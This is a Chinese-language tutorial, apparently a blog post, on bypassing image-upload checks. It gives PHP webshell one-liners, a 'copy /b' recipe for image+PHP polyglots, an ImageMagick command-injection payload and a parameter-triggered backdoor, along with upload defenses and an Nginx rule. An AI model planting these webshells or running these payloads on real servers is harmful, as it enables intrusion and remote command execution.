1. 文件幻数：藏在二进制里的身份证

每次上传图片时，你有没有好奇过系统是怎么判断"这张图真的是JPG"的？这就像超市扫码器识别商品条形码一样，计算机其实是通过读取文件开头的几个特殊字节——我们称之为**幻数（Magic Number）**来快速判断文件类型的。

以最常见的图片格式为例：

• JPEG文件总是以FF D8 FF开头
• PNG文件的开头是89 50 4E 47
• GIF文件则用47 49 46 38作为"开场白"

这些十六进制代码就像是文件的"身份证号码"，系统通过快速扫描文件头部的这些特征值，就能在毫秒级完成类型校验。但问题在于，很多开发者只做了这个最基础的检查就认为安全了。

我曾经测试过某电商平台的上传接口，发现他们仅仅用PHP的exif_imagetype()函数做了校验。于是我做了个实验：用十六进制编辑器在正常的PHP脚本开头插入FF D8 FF，结果系统真的把它当作图片接受了！这就是典型的幻数欺骗攻击。

2. 制作"披着羊皮的狼"：图片木马实战

2.1 手工打造混合文件

最经典的攻击方式就是创建图片+PHP的混合文件。具体操作如下：

1. 准备一张正常图片（比如test.jpg）
2. 编写恶意PHP代码（如<?php system($_GET['cmd']);?>）
3. 使用命令行合并：

copy /b test.jpg + shell.php backdoor.jpg

生成的backdoor.jpg在图片查看器中显示正常，但当服务器用include包含这个文件时，PHP解释器会跳过前面的图片数据，直接执行后面的PHP代码。

2.2 高级伪装技巧

更隐蔽的做法是利用文件结构特性：

• 对于PNG文件，可以在IEND结束标记后追加代码
• 对于GIF，可以在GIF89a头部之后插入注释块（/* */包裹的PHP代码）
• 对于JPEG，可以利用APPn标记段插入可执行代码

这里有个实际案例：某CMS系统的头像上传功能允许GIF图片，但未校验文件尾部。攻击者在GIF结束符3B之后添加了PHP代码，当管理员在后台查看用户列表时，由于调用了imagecreatefromgif()处理头像，导致代码执行。

3. 突破内容校验的六种武器

3.1 二次渲染绕过

当系统对上传图片进行压缩或缩略图生成时，可以尝试：

1. 制作特殊构造的PNG文件，确保经过GD库处理后仍保留恶意代码
2. 利用ImageMagick的漏洞（如CVE-2016-3714）通过精心构造的图片触发命令执行

// 示例：利用ImageMagick漏洞的恶意PNG push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls -la")' pop graphic-context

3.2 条件触发技术

通过判断运行环境来动态选择行为：

<?php if(isset($_GET['debug'])) { system($_GET['cmd']); } else { // 正常图片内容 echo file_get_contents('real_image.jpg'); } ?>

这种文件在前端显示为图片，但通过特定参数触发后门功能。

4. 防御者的必修课

4.1 深度校验方案

真正的安全方案应该包含：

1. 文件头校验（幻数检查）
2. 文件内容结构验证（如通过GD库尝试读取图片）
3. 文件重命名（禁止用户控制扩展名）
4. 存储隔离（上传目录禁用脚本执行权限）

PHP示例代码：

function isRealImage($file) { $info = getimagesize($file); if(!$info) return false; // 二次验证 switch($info[2]) { case IMAGETYPE_JPEG: return imagecreatefromjpeg($file) !== false; case IMAGETYPE_PNG: return imagecreatefrompng($file) !== false; default: return false; } }

4.2 运维层防护

除了代码层面的防御，还应该：

• 配置Web服务器禁止上传目录的脚本执行
• 定期更新图像处理库（GD/ImageMagick等）
• 使用WAF规则拦截可疑的上传内容

在Nginx中可以通过以下配置限制上传目录：

location ^~ /uploads/ { location ~ \.php$ { return 403; } }

5. 攻击者的踩坑记录

在实际测试中，我发现这些常见问题会导致攻击失败：

1. Windows系统下BOM头破坏文件结构
2. 某些CMS会自动去除文件尾部的"垃圾数据"
3. 云存储服务（如AWS S3）可能会对文件进行重新编码

有个有趣的案例：某次我精心构造的GIF+PHP文件在测试环境运行良好，但在生产环境失效。后来发现是因为生产环境使用了CDN服务，CDN的图片优化功能自动移除了文件尾部数据。这提醒我们，真实环境的对抗需要考虑更多中间环节的影响。